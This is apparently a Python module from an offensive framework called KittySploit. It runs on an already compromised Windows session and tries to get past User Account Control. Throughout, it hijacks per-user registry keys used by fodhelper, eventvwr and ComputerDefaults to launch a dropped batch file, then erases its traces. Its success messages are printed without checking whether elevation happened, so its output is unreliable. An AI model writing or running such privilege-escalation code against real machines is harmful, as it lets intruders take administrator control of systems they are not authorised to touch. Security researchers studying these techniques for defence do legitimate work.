Windows UAC Bypass

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
import os
import tempfile
import time

class Module(Post):
    
    __info__ = {
        "name": "Windows UAC Bypass",
        "description": "Bypasses User Account Control (UAC) using various techniques to obtain administrator privileges",
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
    },
    }
    
    session_id = OptString("", "Session ID", True)
    technique = OptChoice("auto", "Bypass technique to use", required=True, choices=["auto", "eventvwr", "fodhelper", "computerdefaults", "silentcleanup"])
    payload_path = OptString("", "Path to payload executable (if empty, uses current session)", False)
    
    def _get_session_id_value(self) -> str:
        """Return the current session_id option value as a string."""
        try:
            return str(getattr(self, "session_id", "") or "").strip()
        except Exception:
            return ""
    
    def _is_meterpreter_session(self) -> bool:
        """Check if the session is a meterpreter session"""
        session_id_value = self._get_session_id_value()
        if not session_id_value or not self.framework or not hasattr(self.framework, 'session_manager'):
            return False
        
        session = self.framework.session_manager.get_session(session_id_value)
        if session:
            session_type = getattr(session, 'session_type', '') or ''
            return session_type.lower() == SessionType.METERPRETER.value.lower()
        return False
    
    def _execute_cmd(self, command: str, timeout: int = 10) -> str:
        """Execute a command via the session with timeout"""
        if not command:
            return ""
        
        try:
            if self._is_meterpreter_session():
                # For meterpreter, use shell command
                if not command.startswith("shell "):
                    command = f"shell {command}"
            
            # Add timeout for commands that might hang
            # Use PowerShell timeout wrapper for long-running commands
            if timeout > 0:
                # Wrap command in PowerShell timeout
                ps_timeout_cmd = f'powershell -Command "$job = Start-Job -ScriptBlock {{ {command} }}; if (Wait-Job $job -Timeout {timeout}) {{ Receive-Job $job }} else {{ Stop-Job $job; Remove-Job $job; Write-Output \"TIMEOUT\" }}"'
                command = ps_timeout_cmd
            
            output = self.cmd_execute(command)
            result = output.strip() if output else ""
            
            # Check for timeout
            if "TIMEOUT" in result:
                print_warning(f"Command timed out after {timeout} seconds")
                return ""
            
            return result
        except Exception as e:
            print_warning(f"Command execution failed: {str(e)}")
            return ""
    
    def _check_admin(self) -> bool:
        """Check if we're already running as administrator"""
        print_status("Checking current privileges...")
        
        # Check via whoami /groups or net session
        check_cmd = 'net session >nul 2>&1 && echo ADMIN || echo USER'
        result = self._execute_cmd(check_cmd)
        
        if "ADMIN" in result or "NET HELPMSG" not in result:
            # Also check via PowerShell
            ps_check = 'powershell -Command "$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()); if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Write-Output \"ADMIN\" } else { Write-Output \"USER\" }"'
            ps_result = self._execute_cmd(ps_check)
            
            if "ADMIN" in ps_result:
                print_success("Already running as administrator!")
                return True
        
        print_status("Not running as administrator")
        return False
    
    def _check_uac_level(self) -> str:
        """Check UAC level"""
        print_status("Checking UAC level...")
        
        ps_cmd = 'powershell -Command "$reg = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(\'SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\'); $enableLUA = $reg.GetValue(\'EnableLUA\'); $consentPromptBehaviorAdmin = $reg.GetValue(\'ConsentPromptBehaviorAdmin\'); Write-Output \"EnableLUA: $enableLUA\"; Write-Output \"ConsentPromptBehaviorAdmin: $consentPromptBehaviorAdmin\""'
        
        result = self._execute_cmd(ps_cmd)
        print_info(result)
        
        if "EnableLUA: 0" in result:
            return "disabled"
        elif "ConsentPromptBehaviorAdmin: 0" in result:
            return "never_notify"
        elif "ConsentPromptBehaviorAdmin: 2" in result:
            return "always_notify"
        else:
            return "default"
    
    def _bypass_eventvwr(self) -> bool:
        """Bypass UAC using Eventvwr.exe technique"""
        print_status("Attempting UAC bypass via Eventvwr.exe...")
        
        try:
            # Get temp directory and create payload
            temp_dir = self._execute_cmd('echo %TEMP%').strip()
            if not temp_dir:
                temp_dir = "C:\\Windows\\Temp"
            
            payload_script = f'{temp_dir}\\bypassuac_{int(time.time())}.bat'
            
            # Create payload using PowerShell
            ps_create = f'powershell -Command "$content = \'@echo off`npowershell -Command Start-Process cmd.exe -Verb RunAs\'; Set-Content -Path \'{payload_script}\' -Value $content -Encoding ASCII"'
            create_result = self._execute_cmd(ps_create, timeout=5)
            
            # Verify file was created
            verify_cmd = f'if exist "{payload_script}" (echo EXISTS) else (echo NOTFOUND)'
            verify_result = self._execute_cmd(verify_cmd, timeout=5)
            
            if "EXISTS" not in verify_result:
                print_warning(f"Failed to create payload script: {verify_result}")
                return False
            
            # Create registry key: HKCU\Software\Classes\mscfile\shell\open\command
            reg_cmd_final = f'reg add "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" /d "cmd.exe /c \\"{payload_script}\\" /f"'
            result = self._execute_cmd(reg_cmd_final, timeout=5)
            
            success = "successfully" in result.lower() or "réussi" in result.lower() or "opération réussie" in result.lower()
            
            if not success:
                print_warning(f"Failed to create registry key: {result}")
                self._execute_cmd(f'del "{payload_script}"', timeout=3)
                return False
            
            # Trigger eventvwr.exe
            print_status("Triggering eventvwr.exe (UAC prompt may appear)...")
            trigger_result = self._execute_cmd('start eventvwr.exe', timeout=3)
            
            # Wait for UAC prompt
            print_status("Waiting for UAC prompt/user interaction...")
            time.sleep(3)
            
            # Cleanup
            self._execute_cmd(f'del "{payload_script}"', timeout=3)
            self._execute_cmd('reg delete "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" /f', timeout=5)
            
            print_success("Eventvwr bypass attempted!")
            print_status("If UAC prompt appeared and was accepted, check for elevated process")
            return True
                
        except Exception as e:
            print_error(f"Eventvwr bypass failed: {str(e)}")
            return False
    
    def _bypass_fodhelper(self) -> bool:
        """Bypass UAC using Fodhelper.exe technique"""
        print_status("Attempting UAC bypass via Fodhelper.exe...")
        
        try:
            # Create registry key: HKCU\Software\Classes\ms-settings\Shell\Open\Command
            temp_dir = self._execute_cmd('echo %TEMP%').strip() or "C:\\Windows\\Temp"
            if not temp_dir:
                temp_dir = "C:\\Windows\\Temp"
            
            payload_script = f'{temp_dir}\\bypassuac_{int(time.time())}.bat'
            
            # Create payload using PowerShell to avoid encoding issues
            ps_create = f'powershell -Command "$content = \'@echo off`npowershell -Command Start-Process cmd.exe -Verb RunAs\'; Set-Content -Path \'{payload_script}\' -Value $content -Encoding ASCII"'
            create_result = self._execute_cmd(ps_create, timeout=5)
            
            # Verify file was created
            verify_cmd = f'if exist "{payload_script}" (echo EXISTS) else (echo NOTFOUND)'
            verify_result = self._execute_cmd(verify_cmd, timeout=5)
            
            if "EXISTS" not in verify_result:
                print_warning(f"Failed to create payload script: {verify_result}")
                return False
            
            # Create registry entries - HKCU doesn't require admin
            reg_cmd1 = f'reg add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /d "cmd.exe /c \\"{payload_script}\\" /f"'
            reg_cmd2 = 'reg add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /v "DelegateExecute" /t REG_SZ /d "" /f'
            
            result1 = self._execute_cmd(reg_cmd1, timeout=5)
            result2 = self._execute_cmd(reg_cmd2, timeout=5)
            
            # Check results (handle both English and French)
            success1 = "successfully" in result1.lower() or "réussi" in result1.lower() or "opération réussie" in result1.lower()
            success2 = "successfully" in result2.lower() or "réussi" in result2.lower() or "opération réussie" in result2.lower()
            
            if not success1 or not success2:
                print_warning(f"Failed to create registry keys")
                print_debug(f"    Reg cmd1 result: {result1}")
                print_debug(f"    Reg cmd2 result: {result2}")
                # Cleanup on failure
                self._execute_cmd(f'del "{payload_script}"', timeout=3)
                return False
            
            # Trigger fodhelper.exe (this should prompt UAC)
            print_status("Triggering fodhelper.exe (UAC prompt may appear)...")
            trigger_result = self._execute_cmd('start fodhelper.exe', timeout=3)
            
            # Wait a bit for UAC prompt
            print_status("Waiting for UAC prompt/user interaction...")
            time.sleep(3)
            
            # Cleanup registry
            self._execute_cmd('reg delete "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /f', timeout=5)
            self._execute_cmd(f'del "{payload_script}"', timeout=3)
            
            print_success("Fodhelper bypass attempted!")
            print_status("If UAC prompt appeared and was accepted, check for elevated process")
            return True
                
        except Exception as e:
            print_error(f"Fodhelper bypass failed: {str(e)}")
            return False
    
    def _bypass_computerdefaults(self) -> bool:
        """Bypass UAC using ComputerDefaults.exe technique"""
        print_status("Attempting UAC bypass via ComputerDefaults.exe...")
        
        try:
            # Similar to fodhelper but uses ComputerDefaults
            temp_dir = self._execute_cmd('echo %TEMP%').strip()
            if not temp_dir:
                temp_dir = "C:\\Windows\\Temp"
            
            payload_script = f'{temp_dir}\\bypassuac_{int(time.time())}.bat'
            
            # Create payload using PowerShell
            ps_create = f'powershell -Command "$content = \'@echo off`npowershell -Command Start-Process cmd.exe -Verb RunAs\'; Set-Content -Path \'{payload_script}\' -Value $content -Encoding ASCII"'
            create_result = self._execute_cmd(ps_create, timeout=5)
            
            # Verify file was created
            verify_cmd = f'if exist "{payload_script}" (echo EXISTS) else (echo NOTFOUND)'
            verify_result = self._execute_cmd(verify_cmd, timeout=5)
            
            if "EXISTS" not in verify_result:
                print_warning(f"Failed to create payload script: {verify_result}")
                return False
            
            reg_cmd1 = f'reg add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /d "cmd.exe /c \\"{payload_script}\\" /f"'
            reg_cmd2 = 'reg add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /v "DelegateExecute" /t REG_SZ /d "" /f'
            
            result1 = self._execute_cmd(reg_cmd1, timeout=5)
            result2 = self._execute_cmd(reg_cmd2, timeout=5)
            
            success1 = "successfully" in result1.lower() or "réussi" in result1.lower() or "opération réussie" in result1.lower()
            success2 = "successfully" in result2.lower() or "réussi" in result2.lower() or "opération réussie" in result2.lower()
            
            if not success1 or not success2:
                print_warning(f"Failed to create registry keys")
                print_debug(f"    Reg cmd1 result: {result1}")
                print_debug(f"    Reg cmd2 result: {result2}")
                self._execute_cmd(f'del "{payload_script}"', timeout=3)
                return False
            
            print_status("Triggering ComputerDefaults.exe (UAC prompt may appear)...")
            self._execute_cmd('start computerdefaults.exe', timeout=3)
            
            print_status("Waiting for UAC prompt/user interaction...")
            time.sleep(3)
            
            self._execute_cmd(f'del "{payload_script}"', timeout=3)
            self._execute_cmd('reg delete "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /f', timeout=5)
            
            print_success("ComputerDefaults bypass attempted!")
            print_status("If UAC prompt appeared and was accepted, check for elevated process")
            return True
                
        except Exception as e:
            print_error(f"ComputerDefaults bypass failed: {str(e)}")
            return False
    
    def _bypass_silentcleanup(self) -> bool:
        """Bypass UAC using SilentCleanup scheduled task technique"""
        print_status("Attempting UAC bypass via SilentCleanup task...")
        
        try:
            # SilentCleanup technique: modify the existing SilentCleanup task's action
            # This doesn't require creating a new task, just modifying the existing one
            
            # First, check if SilentCleanup task exists
            check_cmd = 'schtasks /query /tn "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" /fo LIST 2>&1'
            check_result = self._execute_cmd(check_cmd)
            
            if "ERROR" in check_result or "not found" in check_result.lower():
                print_warning("SilentCleanup task not found")
                return False
            
            # Get the current task XML
            xml_cmd = 'schtasks /query /tn "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" /xml >nul 2>&1'
            # This approach requires admin, so we'll skip it for now
            print_warning("SilentCleanup bypass requires administrator privileges to modify system tasks")
            print_status("Skipping SilentCleanup technique (requires admin)")
            return False
                
        except Exception as e:
            print_error(f"SilentCleanup bypass failed: {str(e)}")
            return False
    
    def run(self):
        """Run the UAC bypass module"""
        try:
            session_id_value = self._get_session_id_value()
            
            if not session_id_value:
                raise ProcedureError(FailureType.ConfigurationError, "Session ID is required")
            
            print_info("")
            print_success("Starting UAC Bypass Module...")
            print_info("=" * 70)
            
            # Check if already admin
            if self._check_admin():
                print_success("Already running as administrator!")
                print_status("Use 'getsystem' command to obtain SYSTEM privileges")
                return True
            
            # Check UAC level
            uac_level = self._check_uac_level()
            print_status(f"UAC Level: {uac_level}")
            
            if uac_level == "disabled":
                print_warning("UAC is disabled - no bypass needed!")
                return True
            
            # Select technique
            technique = str(self.technique)
            
            success = False
            
            if technique == "auto":
                # Try all techniques in order
                techniques = [
                    ("fodhelper", self._bypass_fodhelper),
                    ("eventvwr", self._bypass_eventvwr),
                    ("computerdefaults", self._bypass_computerdefaults),
                    # Skip silentcleanup in auto mode as it requires admin
                    # ("silentcleanup", self._bypass_silentcleanup),
                ]
                
                for tech_name, tech_func in techniques:
                    print_status(f"\nTrying {tech_name} technique...")
                    try:
                        if tech_func():
                            success = True
                            print_success(f"{tech_name} bypass succeeded!")
                            break
                        else:
                            print_warning(f"{tech_name} bypass failed, trying next...")
                    except Exception as e:
                        print_warning(f"{tech_name} bypass error: {str(e)}, trying next...")
                        continue
            else:
                # Use specific technique
                if technique == "fodhelper":
                    success = self._bypass_fodhelper()
                elif technique == "eventvwr":
                    success = self._bypass_eventvwr()
                elif technique == "computerdefaults":
                    success = self._bypass_computerdefaults()
                elif technique == "silentcleanup":
                    success = self._bypass_silentcleanup()
            
            print_info("=" * 70)
            if success:
                print_success("UAC bypass attempted successfully!")
                print_status("Check for new elevated sessions")
                print_status("Note: The bypass may open a new elevated window")
            else:
                print_warning("All UAC bypass techniques failed")
                print_status("This may require manual interaction or different techniques")
            
            return success
            
        except ProcedureError as e:
            raise e
        except Exception as e:
            raise ProcedureError(FailureType.Unknown, f"UAC bypass error: {str(e)}")